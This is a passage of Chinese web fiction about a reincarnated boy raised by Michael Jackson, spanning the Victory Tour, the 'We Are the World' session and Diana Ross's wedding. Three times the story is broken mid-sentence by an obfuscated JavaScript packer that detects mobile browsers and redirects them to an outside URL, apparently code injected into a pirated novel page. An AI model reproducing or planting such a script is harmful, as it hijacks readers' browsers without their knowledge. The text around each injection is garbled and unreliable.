全世界连轴转实在让这个六岁不满七岁的身体有些吃不消——埃凡德一换地方就会有些水土不服(简称认床),哪怕迈克尔抱着他睡也没办法睡好。 这种情况到了舞台上就会表现为:虽然埃凡德还在打起精神和他们互动,但显然没有那么兴奋了,甚至在慢节奏的曲子里还会打起哈欠。 再后来,埃凡德就开始有一种“被迫营业”的无力感,肢体动作变得极其敷衍,眼皮有时候会像打架般撑不开。 再再后来,他干脆直接坐在一边、撑着下巴盯着舞台,也不知道是在发呆还是看表演。 马龙发现了小家伙的没精打采——兄弟们都很喜欢这个孩子,逗迈克尔的孩子不比自己的孩子好玩多了? 于是,他在迈克尔唱歌的间隙疯狂朝着埃凡德挤眉弄眼、扭动身体,试图引起埃凡德的注意。 摄影师们很快注意到了这一点,而且显然他们也知道怎么拍才最有节目效果——他们先给了马龙几个面部和身体特写,然后迅速把镜头转给了埃凡德。 埃凡德还没有意识到自己的一举一动都被投放到大屏幕上了——他实在是精神萎靡,整个人像一只发蔫的卷心菜。 他一开始根本没注意到马龙的“挑衅”,奈何这家伙实在太坚持不懈了。 当埃凡德意识到自己看到了什么的时候,一切都已经来不及了。 说实在的,马龙也是个帅哥——杰克逊兄弟里没有丑的——而且他扭得很不错,论观赏度应该是兄弟里仅次于迈克尔的了。 但配上他略显油腻的表情(马龙故意的,其实没有很油腻,粉丝们看见甚至会尖叫),埃凡德还是下意识把五官皱成一团,露出了很奇妙的表情。 21世纪的人一般把这个表情称之为: 地铁、老人、手机 jpg. 台下的粉丝们发出了爆笑,夹杂着一声声起哄的欢呼。埃凡德又露出了一脸蒙圈的表情——他不知道为什么观众突然开始笑了,因为台上的杰克逊兄弟们没动,全部都挂着笑容看着他。 等等,全都看着他……? 埃凡德后知后觉地探出头去看舞台上方的大屏幕——他带这些婴儿肥的、挂着蒙圈表情的脸正高清□□地挂在上面! 可恶,给我付肖像费啊喂!(恼) 埃凡德一脸愤愤地跳下椅子,躲到比尔身后去了。 ………… 马龙像是打开了某一个开关。针对埃凡德的大作战就像是某种病毒一样在杰克逊兄弟之间蔓延开来,甚至到了后台。 “兰迪?你能过来一下吗?” 听到哥哥的呼唤,兰迪不得不从和化妆师愉快的交谈中脱离出来,走到正在化妆的迈克尔旁边。 “我刚才叫比尔泡了些红茶,你能帮我端一杯给艾娃吗?”迈克尔指了指正在他脸上作画的化妆师,脸上带着平日里那种温柔的微笑,“我正在化妆,腾不出手来。” 兰迪不疑有他,回了句“OK”,然后老老实实地把红茶端过去给埃凡德了,完全没想到平时这都是比尔的活,哥哥突然叫他来做有什么不对。 埃凡德同样不疑有他——相信1分钟后的他会为自己现在的选择感到后悔的——在习惯性地说了声“谢谢”,然后吹了吹茶后,埃凡德毫无防备地喝下了红茶。 “噗——咳咳,呕——” 温热的“茶水”刚接触到舌头,一股甜腻的触感就在埃凡德的口腔里炸开。不是柔软细腻的白砂糖,也不是温暖脾胃的红糖,而是埃凡德本就不习惯的方糖——他敢肯定这一点! 甜腻的味道像一只黏糊糊的手,死死捂住了他的味蕾。 不仅是甜,还有方糖特有的、带着一点粗糙颗粒感的质地——它们没有完全融化,残留的糖粒像细小的砂石,刮过舌面和上颚。 喉咙本能地收缩,试图把这股过分的甜蜜驱逐出去,但糖水已经顺着咽喉滑了下去,留下一路黏滞的、令人反胃的余味。 ——谢(美利坚粗口),这是在糖里加了点茶吧! 埃凡德猛地放下茶杯,瓷器磕在托盘上发出一声脆响。他张开嘴想说什么,却只发出一声含混的呻吟,舌根因为过度的甜味刺激而隐隐发酸。 他的目光越过不知所措的兰迪,落在对面那张拼命忍笑、却还是微微颤抖的脸上,终于明白了: 这是一场有预谋的红茶谋杀案! 埃凡德干脆闭上眼睛,“轰然倒地”(地上有地毯……大概没有那么脏……吧?)。 “发生什么了?” 一脸状况外的比尔从休息室的门口走了进来,恰好看见埃凡德倒地的一幕,本来被吓了一跳,却又在看见迈克尔憋笑的表情时松了口气,转而变为无语。 “凶手是……迈克尔·杰克……” 埃凡德“颤颤巍巍”地伸手指向迈克尔的方向,没能说完“遗言”,就嘎巴一下没声音了。 “哈哈哈哈嘎(↑)哈哈哈哈哈哈哈哈哈……” 迈克尔终于憋不住了,魔性的笑声在整个休息室里回荡,整个人笑得差点从椅子上掉下来。 ………… 快乐的时光总是短暂的。 1984年12月9日,洛杉矶。 埃凡德心中莫名有种感觉,一切都要结束了。虽然迈克尔并没有和他说些什么,但他能感觉得到,今天的迈克尔有种莫名的紧张。 但埃凡德什么也没说,什么也没问。他就像往常一样坐在舞台侧面,避开观众席的视线,静静地看着舞台上活力四射的杰克逊兄弟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552666|204369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “音乐巨星啊——是不是?” 乔不知何时站到了埃凡德的身后,脸上挂着志得意满的笑容。 “我说过,舞台就是他的生命——这话一点儿不错。” 乔的这句话不知道是想说服曾经在医院里大骂自己的埃凡德,还是在向埃凡德炫耀自己所说的话的正确性。 埃凡德仰头朝着乔笑了笑。 舞台上,乐器手们正轻车熟路地演奏着《Shake your body》的伴奏,迈克尔唱跳后的喘息声通过话筒和音响清晰地传递到在场的每一个人的耳中。 “……音乐停一下,停一下。” 迈克尔拉了拉右手的白手套,随后跟随着鼓点,一边迈着轻松随意的舞步,一边向舞台的左侧走了一些。 他转头看向乔和埃凡德的方向,和他们对上视线。 埃凡德和迈克尔四目相对,看到迈克尔舔了舔嘴唇,深深呼出一口气——不是为了平复剧烈运动后的余韵。 周围的一切似乎都慢了下来……观众的欢呼、轻快的伴奏……只剩下舞台明亮的灯光打在迈克尔的身上——甚至有些刺眼——将他明亮的黑色眼睛照得通透,呈现出美丽的琥珀色泽。 像是《侏罗纪公园》里封存着恐龙基因的化石,埃凡德觉得,如今迈克尔的眼中也有类似的东西。 ——流淌在人类天性之中的、宝贵的期待和希望。 迈克尔不喜欢和别人对视,因为他不想让别人透过眼睛看见他内心的真实想法;相应的,他常常看着埃凡德的眼睛说话——因为只有这样,他才能将真正的自己展现给埃凡德,才能真正看见埃凡德的内心和灵魂。 埃凡德从椅子上落在地上,笑容和刚才面对乔时又有所不同——那是一种充满着鼓励和信赖的微笑。 迈克尔似乎从埃凡德这里获得了某种力量。他感到自己原本比鼓点更加激烈的心跳奇异地平静下来。 迈克尔同样微笑了一下,然后抬起双眼,直直地看着乔。 “听好了,”迈克尔似乎是在对观众们说话,又似乎是在对着乔说话,“我想说的是,这是我们巡演的最终场,也是一起巡演的最后一场。” 眼对着眼地宣告了自己的决定,迈克尔又重新面向了观众——面对这群爱着他的、他也爱着的可爱人们。 “……我也认为这是我们的告别巡演。你们一直都很棒,感谢你们一路相伴的二十年——我们爱你们所有人!” 杰克逊兄弟们的脸上依然挂着笑容,没人知道他们是怎么想的。或许他们对迈克尔的选择早有预感,或许他们只是单纯僵住了……谁知道呢?埃凡德并不会读心术。 演出还没有结束。不论如何,他们都应该完成这场告别演出。 “Shake your body!” 迈克尔的唱词像是某种信号。杰克逊兄弟们如同什么都没有发生,继续大声地跟着唱了起来。 可不管是谁都明白,一切都不一样了。 “你说的对,乔瑟夫,”埃凡德像是对乔的低气压浑然不觉,语气中带着一种莫名的轻松,“舞台是迈克尔的生命——但他不应该在舞台上被消耗,而应该在舞台上成为自己。” ———————— 本章注释: 1.杰克逊兄弟性格有杜撰,因为我不太了解。不过可以搜“胜利之旅”巡演,马龙扭胯是真的,杰克逊固定小品也是真的。 2.最后的独立宣言来源于1984年的真实录像,结合了《巨星之路》里的艺术改编(真实情况里不知道老乔有没有站在旁边看)。 3.迈克尔确实不喜欢别人看到他的眼睛,他认为眼睛是心灵的窗户,所以他总是戴着墨镜。 4.有关迈克尔的魔性笑声可以搜“你迈魔性四大笑声”。粉红色小电视有。 5.shake your body是歌词 8. We are the world 1985年1月27日。 埃凡德今天没有跟着迈克尔,而是和昆西·琼斯——这位曾经担心他会在录音棚里捣乱的音乐大师待在一起,等待着迈克尔的到来。 美国歌手哈里贝·拉方特看到英国为非洲筹集善款的公益演唱后,主动联系莱昂纳德·里奇,希望美国也能出一首这样的歌。然后他们就找来了迈克尔和昆西,和他们进行了合作。 这首公益演唱的曲目,正是后来闻名于世界的经典名曲《We are the world》。 曲目的旋律和歌词都已经完善了,现在只差最后一步——也就是录制。 迈克尔今天要去参加全美音乐颁奖典礼,他预计在颁奖典礼上联系各位音乐名宿,询问他们是否有合作的意愿。 这也是为什么迈克尔把埃凡德寄存在昆西这里——他不能带着埃凡德去参加颁奖典礼。 他要和许多人进行交际,没办法时时刻刻关注埃凡德;也不能把埃凡德独自放在车里,且不说这很可能让迈克尔遭到儿童保护协会的“特别关注”,这种行为同样是对埃凡德安全的不负责。 埃凡德和昆西虽然还不能算是很熟悉,但相处的非常和谐。昆西对他很友善——其一是因为他是迈克尔的孩子,其二是因为他有着不同于这个年龄的孩子的沉稳,其三…… “We are the world,We are the children,We are the ones who make a brighter day……” 昆西听着埃凡德在身边小声歌唱,心中暗暗惊叹。 从埃凡德看到乐谱和歌词,到他准确地唱出副歌的旋律,整个过程甚至不到三分钟,就像是他对这首歌的旋律已经了然于心。 如果不是迈克尔提前教过埃凡德这首歌,那么眼前的男孩就是个不折不扣的音乐天才……他对音乐的感知、以及漂亮的音准,再加上纯粹的声音,几乎要让昆西以为自己看到了另一个迈克尔。 哦——白人版的迈克尔。如果埃凡德想要走上这条音乐的道路,他一定会比迈克尔更加顺利。 悲哀的是,这无关他的才华。 ………… 歌曲开始录制的时候已经是凌晨。 名人们齐聚在这个小小的录音室里。说实在的——除了迈克尔和昆西,埃凡德基本一个也不认识。 他只是音乐爱好者,并不关注某个歌手。打个比方就是:他知道贾斯汀·比伯的歌,而且会唱,但他可能连比伯的长相都形容不出来。 这其中不乏有一些不可思议的人物——还是个很时髦的潮女,一头红金色的长发,身上的耳环、项链和首饰在她动起来的时候丁零当啷地响。 几乎每个人进来的时候都和他打了招呼。有的人摸摸他的头,有的人捏捏他的脸,有的人腼腆地朝他微笑一下然后迅速逃开(是个白人男性,或许他是个社恐?)。 “他真的不是你的孩子吗(Is he really not your kid),迈克尔?”首饰潮女又摸了摸埃凡德的脸,“他笑起来简直和你一模一样。” “我知道你是什么意思,但请别这么说,辛迪,”歌星还穿着那身黑色丝绒夹克,墨镜也挡不住他那种不赞成的神情,“埃凡德就是我的孩子。” “哦,抱歉,我不应该这么说的,”首饰潮女很快反应过来,刚才的话对于埃凡德来说并不友好,“请原谅我的冒犯,亲爱的,我没有别的意思。你和迈克尔笑起来真的很像——很可爱!” “没关系,”埃凡德反过来安慰她和迈克尔,“我能感觉到你没有恶意,我也知道迈克尔很爱我。” “你真是个小天使。” 戴安娜·罗斯摸了摸他的头。 埃凡德记住这位女性的原因并不是她长得有多好看或者有多么令他印象深刻——而是因为迈克尔在与戴安娜说话的时候,他感受到了两人之间那种诡异的氛围。 埃凡德不知道该如何形容这种氛围——迈克尔和戴安娜之间的关系比迈克尔与其他人之间的关系显然更加亲密,却又达不到那种粉红泡泡的程度。 “是的,你说的没错,”迈克尔接过戴安娜的话,“艾娃是上帝送给我的礼物……他是我的骄傲。” ………… 录音室里灯火通明,空气中弥漫着咖啡因和肾上腺素混合的味道。 四十六位音乐巨星挤在这间不算大的A&M录音室里,此刻全都放下了“大牌”的架子,像一群刚入学的小学生——莱昂纳德·里奇后来是这么形容的。 入口处贴着昆西手写的纸条(埃凡德主动帮他贴上的):“请把你的自我留在门外。” 没人违反这条规则。 辛迪·劳帕已经把身上那些丁零当啷的首饰全摘了,堆在角落像一座闪亮的小山丘; 鲍勃·迪伦缩在角落里,看起来像是宁愿去任何地方也不愿意在这里——一个社恐被塞进四十五个同行中间,这画面本身就带着某种黑色幽默。不过,经过刚才史蒂夫·旺达的帮助,他已经找到了感觉。 埃凡德自己找了个角落窝着,以防自己打扰到任何人。这个年代没有什么随身的娱乐活动,他只好翻来覆去地看那张打印着歌词的白纸。 录音一遍又一遍地进行着,昆西却始终不太满意。埃凡德对此有些不解——刚开始他还能明白昆西为什么不满意,可刚才这一遍的效果已经和他曾经听过的那个版本大差不差了。 “再来一遍。”昆西说。 大家又站回各自的麦克风前。 “We are the world, we are the children……” 这次辛迪的高音有点紧。昆西皱了皱眉,没喊停,让这段跑完。 “停。”他摘下耳机揉了揉太阳穴,“大家先休息十分钟。” 录音室里响起一片椅子拖动和倒水的声音。布鲁斯·斯普林斯汀甚至直接坐在了地上,靠着墙闭上了眼睛,三秒钟之内就发出了轻微的鼾声。 昆西走到迈克尔身边。歌星已经摘下了墨镜,眼下有淡淡的阴影——他已经连轴转了好几天。 “你听到了吗?” “听到什么?” “就是这个。”昆西做了个模糊的手势,“它不够……我不知道怎么形容。” “它缺了点什么,对吧?” 迈克尔替他说完了。 昆西愣了一下,然后叹了口气。 迈克尔垂下眼睛,不知道在想什么。思绪转动之间,视线不自觉地移向了录音室的角落。 埃凡德正坐在那里,目光凝聚在空气中的某处,膝盖上还摊着那张歌词纸,嘴唇微微翕动,在不出声地跟着耳机里传来的旋律哼唱。 迈克尔定定地看了他几秒钟。 “昆西,”他突然说,“我想让艾娃加入合唱。” 昆西转过头,以为自己听错了: “什么?” “就是副歌那一段,”迈克尔说,“让他加入合唱。” 昆西顺着他的视线看向埃凡德。男孩正专注地听着耳机里的音乐,浑然不觉有两个大人正在谈论自己。 昆西没质疑迈克尔的异想天开——他听过埃凡德唱歌,这个男孩和迈克尔一样天赋异禀。 察觉到昆西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552667|204369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的思考,迈克尔继续说服他: “你不觉得这首歌本来就该有一个孩子的声音吗?我们唱''we are the children'',但是我们都已经不再拥有像孩子那样纯洁的声音了。我们需要一个孩子,昆西!” 昆西沉默了很久,然后他转过身,对着录音室拍了拍手: “各位,再站回去,再来一遍。” 大家不情不愿地从椅子上站起来,从咖啡机边走开,从墙上把自己撑起来。 “这次,”昆西说,“我要你们所有人都往中间站一站,腾出一个位置。” 他看向角落。 “小杰克逊,过来。” 埃凡德一开始没察觉昆西是在叫他,过了好几秒钟才反应过来。他猛地抬头,以为自己听错了。 所有人的视线都转向他。辛迪·劳帕发出一声小小的“哦”,然后笑了起来;戴安娜·罗斯的眼神柔和下来,嘴角微微上扬;还有不知道是谁吹了一声响亮的口哨。 所有人都对这个孩子的加入没有意见。 他下意识看向迈克尔,得到了歌星一个开朗的笑。 “来吧,艾娃,”迈克尔的声音里充满了肯定与鼓励,“别害怕,你能做到的。” “待会儿开始录音,你就和所有人一起唱这一段,”昆西弯腰给他指了指歌词,“迈克尔说你可以做到,我相信他的判断。” 埃凡德有些激动、又有些紧张。他站起来,小跑到自己最熟悉的人——迈克尔身边,牵住了他的手。 迈克尔用他的大手回握住埃凡德的小手,稍稍用力捏了捏,表示他与埃凡德同在。 “准备好了吗,孩子?” 昆西看向埃凡德。 埃凡德深深呼出一口气。 “我准备好了。” 他的声音不大,但是现在,整个录音室比《异形》里被袭击的诺斯托罗莫号还要安静。所有人都听见了。 音乐响起。 这是第七遍合唱,但这一次,在那些撕心裂肺的、醇厚的、轻柔的、充满力量的的声音中间,多出了一个陌生的声音。 “We are the world——We are the children——” 那个声音从声浪中浮出来了。 没有技巧,没有修饰,没有任何一个成年歌手会用来保护自己的技巧,只是一个孩子的声音。 纯粹的,干净的,像清晨穿过教堂的彩绘玻璃的光,给神的信徒们带来福音和希望。 昆西的手停在调音台上没有动。 男孩的声音在合唱之中,如此融洽,又如此特别——不是因为它具有无可比拟的力量,恰恰相反,是因为它足够柔软。 ——————— 本章注释: 1.本章描写包含作者个人体会。因为我真的听比伯的歌,而且真的不知道他长什么样。 2.辛迪·劳帕(首饰潮女)曾经在录音时因为身上的首饰发出杂音而把他们摘了下来。这里她纯粹就是感叹埃凡德和迈克尔笑起来很像,没有别的意思。把这个桥段安排给她是因为她看起来很活泼。 3.社恐的白男指的是鲍勃·迪伦。他在录音的时候甚至能做到每一遍调子都不一样,大家可以去搜录像,特别有趣。 4.迈克尔曾经喜欢戴安娜·罗斯,但这种有些暧昧的暗恋最后以戴安娜的闪婚结束。迈克尔对此感到非常受伤,甚至没有参加戴安娜的婚礼。很多人认为他的《Dirty Diana》其实也暗含了他对戴安娜的感情变化。 5.我是刻意靠近宗教描写的,因为这首歌本来就有这种意思。 9. 永不留你独自一人 埃凡德一直很疑惑,为什么从1984年开始,迈克尔的好运和厄运似乎是守恒的。 《We are the world》,这首呼唤着爱、善良与和平的歌似乎成为了人们心中的灯塔。它为处于灾难之的非洲难民们筹集了至少6000万美元的善款——在这个美元就是黄金的年代! 它在音乐艺术方面的成就也是惊人的。该曲于1985年4月13日登上公告牌百强单曲榜榜首,连续停留了四周;更是于9月13日的MTV音乐录影带大奖中取得了3个提名和2个奖项的好成绩。 可紧接着,好不容易轻松了半年的迈克尔就迎来了他最不想听到的消息: 戴安娜·罗斯要结婚了。 当时,迈克尔、埃凡德本来在和泡泡一起玩扭扭乐,虽然埃凡德一开始还嫌弃一人一猴非常幼稚,但他自己很快也沉迷于这种简单的快乐之中了。 当迈克尔说“我去接个电话,待会儿回来”,但他半个小时都没见踪影时,埃凡德的那点儿快乐就转变成了疑惑和担忧。 埃凡德耐心地告别了泡泡,嘱咐他待在房间里、不要弄坏东西,然后轻车熟路地走遍了豪宅的每一个角落——在过去的5年时间里,他已经把这个家摸得一清二楚了。 又过了十五分钟,埃凡德在他和迈克尔的房间门口听到细微的啜泣。 埃凡德在门口犹豫了一会儿要不要进去——既然迈克尔躲起来偷偷哭,那就肯定是不想被他看见;但话又说回来,哪个人在伤心狼狈的时候愿意把这一面展现给所爱的人看呢? 埃凡德没犹豫太久。心中的关切还是驱动着他推开了房门——他尽量不发出动静,只开了一条能够让他挤进房间的缝,然后在进门后轻轻关上。 房间里暗无天日。迈克尔把窗帘拉得严严实实、连灯也没有开。他似乎是太伤心了,根本没发现有人进来。 埃凡德站在原地,把眼睛闭上,默默数了30秒,然后再睁开。这下,他的双眼适应了黑暗,步履平稳地走到了迈克尔身边,靠着他的肩膀坐了下来。 迈克尔在埃凡德走近的时候就立刻发现了男孩的到来。他被吓了一跳,哭声在匆忙之间被咽回喉咙,变成了一个响亮的嗝——有些滑稽。 但房间里没人笑。 “迈克尔,你听起来糟透了。” 埃凡德看不清黑暗中的人,只能看到一个模糊的影子,还有那双如同猫科动物般发亮的眼睛。 “你怎么来了?” “你接电话接了半个小时,泡泡很担心你——我也是。” “……我很抱歉。” “没关系。但是你为什么躲在这儿哭呢,迈克尔?”埃凡德不愿将话题转移,“是乔又对你说了什么吗?” “……” 男人的影子又陷入了沉默。 “你不能用沉默来伤害我,”埃凡德急切地将眼睛凑近了迈克尔的方向,试图在黑暗中看清男人脸上更多的细节,“求你了,daady.” 埃凡德的脸终于触及了男人卷曲的头发,鼻尖充斥着男士香水的味道。 似乎是这个许久没有听见的称呼触动了迈克尔的心,他最终还是松口了: “刚才我接到电话,戴安娜要结婚了……她邀请我去参加她的婚礼,询问我是否要做她的伴郎。” 艰难地说完这两句话,迈克尔又哽住了,不知道想到了些什么。 “戴安娜?”埃凡德回想了一下,终于在记忆中找到了1月份他见过的那位女士,“戴安娜·罗斯?我在录音棚里好像见过她。” 埃凡德立刻想到了当时二人之间似有若无的氛围,随后也哽住了。 ——大人的感情问题,难怪迈克尔不愿意和他说呢。 “是啊,你还记得她。” 迈克尔显然是在说完第一句话后就后悔了,心中身为一个父亲的责任心压过了失恋的悲伤——这种情感话题真的不适合说给一个七岁的孩子听,哪怕他很成熟。 现在,迈克尔开始感到尴尬和为难:开了这个头之后,他该如何向埃凡德解释自己为什么哭泣呢? 他将戴安娜视作他的姐姐、他的母亲、他的情人。他本以为戴安娜明白他的爱——但这通电话将一切幻想都打碎了。他意识到原来一切都是他的一厢情愿。 埃凡德也意识到了这个话题有多么尴尬,脑子飞速运转,一边想着该如何打圆场,一边回忆着数月前所得知的戴安娜的信息。 就他自己和戴安娜相处的观感来看,对方是一位温柔且富有母性的女士。他听见辛迪(首饰潮女)和她谈起过孩子,戴安娜也悄悄夸他“比小时候的朗达和特雷西(应该是她孩子的名字)乖巧多了”。 按照这种话语来推断,戴安娜的孩子应该比自己大了不止一岁两岁;再加上戴安娜的外貌来看,如今她至少也该有40岁左右了。 ——但迈克尔如今只有27岁,两个人的年纪怎么说也差了一轮! 埃凡德不是反对年龄差恋爱自由。只是现在,他有些懂得了两个人之间微妙的氛围:迈克尔喜欢戴安娜,戴安娜也明白这一点,但她同时知道自己无法回应迈克尔的感情。 如今的这份婚礼邀请,或许也是她对迈克尔做出的回答。她内心对迈克尔更类似于一种母亲的感情——因为迈克尔就像是个孩子。 埃凡德沉默了一会儿,黑暗里只能听见两个人交错的呼吸声。迈克尔的身体仍然因为内心的各种情绪而微微发抖,像被雨淋湿后无处可去的小动物。 “迈克尔,”埃凡德最终开口,声音比平时轻了很多,“你知道我为什么在3岁之后就不愿意叫你daddy了吗?” 迈克尔没有回答,但埃凡德感觉到他的发丝在脸颊轻轻拂过,似乎是小幅度地将头扭向了他这边——这代表他在听。 “因为我怕你有一天会离开。” 埃凡德在心中向这辈子的亲生父母道歉——因为他即将说一些胡诌的话来安慰此刻对他更重要的人。 “我知道他们不要我了——我的亲生父母。我想,如果我少依赖你一点,等你打算离我而去的时候,我可能不会那么伤心。” 其实是3岁的埃凡德在家里的地位逐渐稳定下来后,自己觉得叫一个二十出头的小年轻为爸爸实在不好意思——迈克尔当时才和前世的自己差不多大呢。 “……你这个小笨蛋,”迈克尔的声音沙哑得几乎听不清,他刚刚好转了不少的声音又变得哽咽起来了,“你知道我永远不会这么做。我永远不会留你独自一个人。” “但今天我还是叫了,”埃凡德自顾自地说了下去,“不是因为我不害怕了,而是因为我发现,比起害怕你会离开,我更害怕你根本不知道我需要你。” “你让我感觉到这个世界上有很多的美好与爱,你让我感觉到我可以做一个孩子,可以不用那么懂事、那么累,可以不用去担心和恐惧未知的明天。” 他伸出手,在黑暗中摸索到了迈克尔的手。那只手此刻冰凉而骨感,和他记忆中迈克尔温暖柔软的手完全不同。 “戴安娜·罗斯结婚了,”埃凡德说,“但你还在哭。” “这有什么逻辑吗?”迈克尔终于开口,语气里带着一丝苦笑。 “有啊,”埃凡德一本正经地说,“你哭是因为你在乎她。但你在我面前哭,那是因为你也需要我在乎你。” “我没在你面前哭,是你自己闯进来的……” 迈克尔没有继续说下去,但他反手握住了埃凡德的小手,握得很紧。 “……你说的对,艾娃,我需要你。” 这让埃凡德想起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552668|204369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百事可乐拍摄事故的那一天——迈克尔倒在地上的时候,也是这样紧紧抓着他的手,像抓住了救命稻草。 “我知道,”埃凡德斟酌着措辞,“有些人会同时爱着很多人,用不同的方式。你爱泡泡,爱你的歌迷,爱我,也爱戴安娜。这些爱不一样,但它们都是真的——戴安娜不能成为你的妻子,不代表她不是你心里那个戴安娜了。” “你才七岁,”迈克尔的声音终于有了一丝颤抖的笑意,“你为什么对这些感情也能说的头头是道,奇异男孩?” “大概是我上辈子的记忆,或者什么特质功能之类的——我告诉过你的,”埃凡德理直气壮地说,忍不住微笑了一下,“你都叫我‘小预言家’‘小魔法师’‘奇异男孩’了——Gee,我居然有这么多外号!” 迈克尔终于笑了。 “所以,”埃凡德站起来,用没被迈克尔握住的另一只手拍了拍裤子上不存在的灰尘,“你要不要去婚礼当伴郎?” “……什么?” “我问,你要不要去当伴郎,”埃凡德捏了捏迈克尔的手,“因为她邀请你了。如果她不在乎你,她不会让你做伴郎。伴郎是很重要的位置,迈克尔,仅次于新郎。你知道这说明什么吗?” 迈克尔呆呆地看着埃凡德。 “说明她希望你在她人生最重要的日子里,站在离她最近的地方,”埃凡德说得笃定,像是在法庭上念一份判决书,“你不能成为她的丈夫,但你可以成为那个永远不会缺席的人。这难道不是另一种永恒吗?” “当然,你也可以选择不去——没有任何人会强迫你做出选择。乔不行,戴安娜不行,我也不行,只有你自己可以。” “不论你怎么选,只要你需要我,我就会在这里。迈克尔,我也永远不会留你独自一个人。” 房间里又一次回归沉寂,但这一次,没有持续很久。 迈克尔缓缓站起身,一只手搭在埃凡德的头顶。那只手还在微微发抖,但已经开始回暖。 “你现在感觉好点了吗?” 迈克尔深吸了一口气,又缓缓吐出来。他终于肯拉开窗帘——窗外的月光从窗帘的缝隙漏进来一道银白色的线,恰好落在他的脸上。 他的眼睛还是有些红,但神色又和埃凡德平时看见的迈克尔一样了。 “好多了。”他说,“但是——” “但是?” “你能不能再叫我一次?”迈克尔的声音很轻,带着一点不好意思,“就是刚才那个。” 埃凡德仰起脸看着黑暗中那个高高瘦瘦的影子,月光落在他卷曲的发梢上,像镀了一层霜。 迈克尔泛红的大眼睛里满是眼巴巴的期待。 “不。” 埃凡德哼哼了两声,斩钉截铁地、残忍地拒绝了迈克尔。 他感觉到自己的脸不受控制地有些泛红,胡乱转移话题道: “你现在闻起来像海水、古龙水、方糖混在一起,真的很糟糕。你应该先去洗个澡!” 迈克尔终于笑出了声,声音很大,似乎把月亮都吵醒了。 “好,”迈克尔说,“我去洗澡。” 他俯下身,紧紧把埃凡德抱在怀里,声音完全不同于平时有意维持的轻柔,而是另一种更加陌生的的嗓音,低沉而眷缠——这才是他原本的声音。 “无论你究竟是谁,谢谢你来到我的世界,宝贝。” 埃凡德没回答,只是陪着他在月光下静静地看着两个人的影子融为一体。 ———————— 本章注释: 1.本章迈克尔对戴安娜的情感认知是他本人说的。他的姐姐、母亲和情人。 2.迈克尔在现实中最终还是没有参加戴安娜的婚礼。 3.开头写的奖项都是真实的。 10. Youre bad 埃凡德知道,日有所思,夜有所梦。但他从未想到,自己会做一个和死亡一般可怕的、有关迈克尔的梦。 洛杉矶的夜晚非常安静,远离了一切人群的喧闹,能够将迈克尔和埃凡德护进一个脆弱而密闭的茧中,让他们对灵魂暂时得到安宁。 ………… “埃里克?埃里克?” 他猛地回过神来,看向急切呼唤着他的好友。 “怎么了,尤金?”他的声音轻飘飘的,仿佛还在梦里,“突然叫我。” “你是不是昨晚飞.叶子飞大了?”尤金狐疑地看着他,“这可是迈克尔·杰克逊的演唱会会场!看看你周围的人!你怎么一点反应都没有了?” “我只是,不敢相信……”他的声音更轻了,“我竟然真的要见到他了……” 他感到一阵头晕目眩——自己不会还在梦里吧? “(德意志粗口),你别晕过去了!”尤金晃了晃他的肩膀,“你可以演唱会以后再晕!说不定这是你唯一一次挤进MJ演唱会内场的机会,坚持住,兄弟!” 他用力点点头,再次看了一眼手里的票根: 【Munich,Germany,Jun 27th,1999 (慕尼黑,德国,1999年6月27日)】 当看到迈克尔·杰克逊登上舞台的那一刻,所有人都沸腾了! 迈克尔正如所有MV里展示的那样帅气、美丽、魅力十足……黑色的卷发随风飘扬,血红的嘴唇映衬在灯光下雪白的皮肤上…… 他感觉心脏跳得比人生之中任何时候都还要快,感觉到泪水不受控制地蒙住了双眼——他现在只能看到模糊的色块了!因为他高举着双手,如同朝圣者一般为了神的降临而疯狂! 《Don''t Stop ''Til You Get Enough 》《The Way You Make Me Feel》《Scream 》《 Beat It 》《Thriller 》《Black or White》《Billie Jean》…… 一首首耳熟能详的曲目在他的耳边响起。只要音乐流入人群之中,歌迷们就会跟着旋律一起高唱——哪怕是音痴也没有关系,所有人在此刻都是兄弟姐妹,唱响的是众生的谐乐,故而也不存在什么不和谐音! 紧接着,便是迈克尔在1995年发行的《Earth Song》(地球之歌)。 随着歌曲之中的感情越来越激昂、愤慨,迈克尔站上了火花四射的铁桥。 “What about baby boys (What about it) 小孩子呢(而他们呢) What about the days (What about us) 这个时代怎么办(而我们呢) What about all their joy (What about us)…… 他们所有的欢乐呢(而我们呢)……” 铁桥从最高处飞速坠落,重重地摔在地上,发出哪怕是音响也盖不住的轰鸣——就像是迈克尔的怒吼。 不,不,这一切都不对! 他感到自己从名为埃里克的躯壳中脱离出来了,他不断地上升、上升,直到火花四射的舞台的上空,直到肤色惨白的迈克尔身边…… 